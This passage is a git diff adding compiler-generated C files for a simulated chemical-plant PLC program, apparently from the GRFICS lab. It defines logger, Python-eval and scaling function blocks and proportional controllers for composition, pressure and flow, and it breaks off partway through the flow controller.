index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + 